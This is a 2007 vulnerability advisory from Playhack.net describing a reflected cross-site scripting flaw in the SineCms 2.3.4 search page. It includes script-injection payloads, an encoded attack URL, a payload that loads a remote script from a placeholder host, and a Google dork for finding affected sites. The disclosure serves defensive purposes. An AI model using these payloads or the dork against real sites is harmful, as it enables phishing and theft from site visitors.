. . . ._ | _. .|_ _. _.;_/ [_)|(_]_|[ )(_](_.| .net | ._| "SineCms Version 2.3.4 - Non-Persistent XSS Vulnerability" by Nexus 1) Infos --------- Date : 2007-04-26 (ISO 8601) Product : SineCms Version : 2.3.4 (last), prior versions may also be affected Vendor : http://sourceforge.net/projects/sine - http://www.sinecms.net Vendor Status : 2007-04-26 - Informed! Description : SineCms is a management software for international communication based on hypertext. Google Dork : "SineCms Version: 2.3.4" Source : nexus E-mail : nexus[at]playhack[dot]net Team : Playhack.net Security 2) Security Issues ------------------- The core module for Search engine is affected by a Non-Persistent Cross-Site Scripting vulnerability. The source in "mods/Core/result.php" doesn't properly sanitize the input of the user and just get the submitted text without any previous check on the content. The affected variable is $_GET['stringa'], as a matter of fact if we try to insert a string like: "><script>alert(1);</script> The website will retrieve an url like: host/path/mods.php?mods=Core&page=result&stringa=%22%3E%3Cscript%3Ealert %281 %29%3C%2Fscript%3E&campo=all&criterio=tutte&ordine=decrescente And it executes the JavaScript code. The script makes only a check on apex, that can be simply avoided executing for example a remote script like "><script src=http://host.com/script.js></script> It's easy to guess that this kind of vulnerability can be used to accomplish some Phishing attacks, or whatever can be disfruted from an XSS flaw. 3) Patch --------- Edit the core source code and sanitize properly the inputted data.